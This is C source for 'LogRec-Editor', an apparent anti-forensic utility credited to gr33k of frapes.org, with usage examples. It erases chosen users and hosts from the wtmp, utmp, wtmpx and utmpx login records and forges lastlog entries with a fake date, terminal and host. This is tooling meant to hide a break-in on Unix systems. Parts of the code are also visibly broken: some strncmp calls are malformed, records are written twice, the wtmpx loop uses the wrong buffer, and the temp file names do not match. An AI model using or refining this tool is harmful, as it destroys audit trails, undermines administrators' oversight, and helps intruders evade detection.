This utility allows the editing and manipulation of wtmp/utmp/wtmpx/utmpx/lastlog.
afc994d3542b3f019db0ad019c0d6a342a5b4c0bbf24de3cc691f1bdced75574
/*LogRec-Editor by gr33k - frapes.org - uhagr*/
/*allows you to manipulate wtmp/utmp/utmpx/wtmpx/lastlog*/
/*www.frapes.org - gr33k@frapes.org*/
/*Examples:
Removes user john completely from wtmp
./logrec -l wtmp -u john
Removes user george from wtmp only if logged in from foo.bar
./logrec -l wtmp -u george -l foo.bar
Removes user tux from all logfiles (wtmp/utmp/<wtmpx>/<utmpx>/lastlog)
./logrec -l all -u tux
Sets user as "never loged in" in lastlog
./logrec -l lastlog -u <user>
Removes <user> from all logfiles and sets Date, Terminal and Host in lastlog
./logrec -u <user> -l all -H rulez.packetstormsecurity.org -T tty0 -D 1030423702
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <lastlog.h>
#include <stdio.h>
#define LASTLOG
#ifdef LASTLOG
#include <lastlog.h>
#endif
#ifdef WTMPX
#include <utmpx.h>
#endif
#ifdef WTMPX
struct utmpx utx;
#endif
void usage(char *argv)
{
fprintf(stdout,"LogReg-Edit (www.frapes.org)\nUsage: %s [Options]\n",argv);
fprintf(stdout,"Options: -l logfile to edit (utmp/wtmp/utmpx/wtmpx/lastlog), use 'all' to edit all");
fprintf(stdout,"\n -u username to be erased");
fprintf(stdout,"\n -h hostname to be erased");
fprintf(stdout,"\n -D set date in lastlog");
fprintf(stdout,"\n -T set terminal in lastlog");
fprintf(stdout,"\n -H set hostname in lastlog ");
fprintf(stdout,"Examples: %s -l wtmp -u mary -h foo.bar\n",argv);
fprintf(stdout," %s -l lastlog -H phrapes.netbsd.gr -T pts/4 -D 1030423702\n",argv);
exit(-1);
}
int main(int argc, char * argv[])
{
#ifdef WTMPX
struct utmpx utx;
#endif
struct lastlog l;
struct utmp ut;
int fp=-1,fd=-1,arg,size,onlyhost;
char lasthost[50]=" ";
char lastterm[5]=" ";
char lasttime[20]="0";
struct stati
{
int entries;
int removed ;
int done;
}stats;
struct entr
{
char username[30];
char host[50];
}entry;
struct logfile
{
int wtmp;
int utmp;
int wtmpx;
int utmpx;
int lastlog;
}log;
stats.entries=stats.removed=stats.done=0;
log.wtmp=log.utmp=log.wtmpx=log.utmpx=log.lastlog=0;
if(argc < 5)
usage(argv[0]);
while((arg=getopt(argc,argv,"l:u:h:D:T:H:"))!=-1)
{
switch(arg)
{
case 'l':
if(strncmp(optarg,"wtmp")==0)
log.wtmp=1;
if(strncmp(optarg,"utmp")==0)
log.utmp=1;
if(strncmp(optarg,"wtmpx")==0)
log.wtmpx=1;
if(strncmp(optarg,"utmpx")==0)
log.utmpx=1;
if(strncmp(optarg,"lastlog")==0)
log.lastlog=1;
if(strncmp(optarg,"all")==0)
{
log.wtmp=1;
log.utmp=1;
log.wtmpx=1;
log.utmpx=1;
log.lastlog=1;
}
if(log.wtmp==0 && log.utmp==0 && log.wtmpx==0 && log.utmpx==0 && log.lastlog==0)
{
fprintf(stderr,"Error: Unrecognized logfile or no logfile given! Exiting!\n");
exit(-1);
}
break;
case 'u':
strncpy(entry.username,optarg,sizeof(entry.username));
break;
case 'h':
strncpy(entry.host,optarg,sizeof(entry.host));
break;
case 'H':
strncpy(lasthost,optarg,sizeof(lasthost));
break;
case 'T':
strncpy(lastterm,optarg,sizeof(lastterm));
break;
case 'D':
strncpy(lasttime,optarg,sizeof(lasttime));
}
}
fprintf(stdout,"\nStarting LogRec-Edit (www.frapes.org)\n");
sleep(1);
if(log.wtmp==1)
{
size=sizeof(ut);
fp = open("/var/log/wtmp",O_RDONLY);
fd = open("wtmp.tmp",O_WRONLY|O_CREAT);
if(fp < 0)
{
perror("wtmp");
close(fd);
}
else if (fd < 0)
{
perror("wtmp.tmp");
close(fp);
}
else
{
while(read(fp,&ut,size)==size)
{ // change ut.ut_user to ut.ut_name if you use an old linux box
if(strncmp(ut.ut_user,entry.username,strlen(ut.ut_name)))
write(fd,&ut,size);
else stats.removed++;
if(!strstr(ut.ut_host,entry.host))
write(fd,&ut,size);
else
stats.entries++;
}
fprintf(stdout,"\nwtmp: %d entries removed. (Total: %d)",stats.removed, stats.entries);
close(fp);
close(fd);
system("/bin/cp ./wtmp.tmp /var/log/wtmp; rm ./wtmp.tmp");
}
}
if(log.utmp==1)
{
stats.entries = stats.removed = 0;
size = sizeof(struct utmp);
fd = open("/var/run/utmp", O_RDWR);
if (fd < 0)
perror("utmp");
else
{
while (read(fd, &ut, size) == size)
{
if(!strncmp(ut.ut_user, entry.username, strlen(ut.ut_user)))
{
stats.removed++;
memset(&ut, 0, size);
lseek(fd, -1*size, SEEK_CUR);
write(fd, &ut, size);
}
stats.entries++;
}
close(fd);
fprintf(stdout,"\nutmp: %d entries removed. (Total: %d)",stats.removed, stats.entries);
}
}
if(log.lastlog==1)
{
#ifdef LASTLOG
stats.entries = stats.removed = 0;
size = sizeof(struct lastlog);
fd = open("/var/log/lastlog", O_RDWR);
if(fd < 0)
perror("lastlog");
else
{
lseek(fd, size*getuid(), SEEK_SET);
read(fd, &l, size);
l.ll_time = atoi(lasttime);
strncpy(l.ll_line, lastterm, 5);
if(strcmp(lasthost," ")==0)
strncpy(l.ll_host,lasthost,UT_HOSTSIZE);
else
strncpy(l.ll_host,lasthost,sizeof(l.ll_host));
lseek(fd, size*getuid(), SEEK_SET);
write(fd, &l, size);
close(fd);
fprintf(stdout,"\nlastlog for uid(%d): terminal set to:<%s>",getuid(),lastterm);
fprintf(stdout,"hostname to <%s>, date to <%s>.",lasthost,lasttime);
}
#endif
}
if(log.wtmpx==1)
{
#ifdef WTMPX
size = sizeof(utx);
fp = open("/var/log/wtmpx",O_RDONLY);
fd = open("wtmpx.tmp",O_WRONLY|O_CREAT);
if(fp < 0)
{
perror("wtmpx");
close(fd);
}
else if (fd < 0)
{
perror("wtmpx.tmp");
close(fp);
}
else
{
while (read(fp,&utx,size)==size)
{
if(strncmp(ut.ut_name,entry.username,strlen(entry.username)))
write(fd,&ut,size);
else
stats.removed++;
if(!strstr(ut.ut_host,entry.host))
write(fd,&ut,size);
else
stats.entries++;
printf("\nwtmpx: %d entries removed. (Total: %d)",stats.removed, stats.entries);
close(fp);
close(fd);
}
system("/bin/cp -v ./wtmpX.tmp /var/log/wtmpx ; rm ./wtmpX.tmp");
}
#endif
}
if(log.utmpx==1)
{
#ifdef WTMPX
stats.entries = stats.removed = 0;
fd = open("/var/run/utmpx", O_RDWR);
if(fd < 0)
perror("utmpx");
else
{
while(read(fd, &utx, size) == size)
{
if(!strncmp(utx.ut_user, entry.username, strlen(entry.username)))
{
stats.removed++;
memset(&utx, 0, size);
lseek(fd, -1*size, SEEK_CUR);
write(fd, &utx, size);
}
stats.entries++;
}
close(fd);
printf("\nutmpx: %d entries removed. (Total: %d)\n",stats.removed, stats.entries);
}
#endif
}
printf("\n\nLoRec-Edit checked/changed %d logfiles.\n",log.wtmp+log.utmp+log.wtmpx+log.utmpx+log.lastlog);
}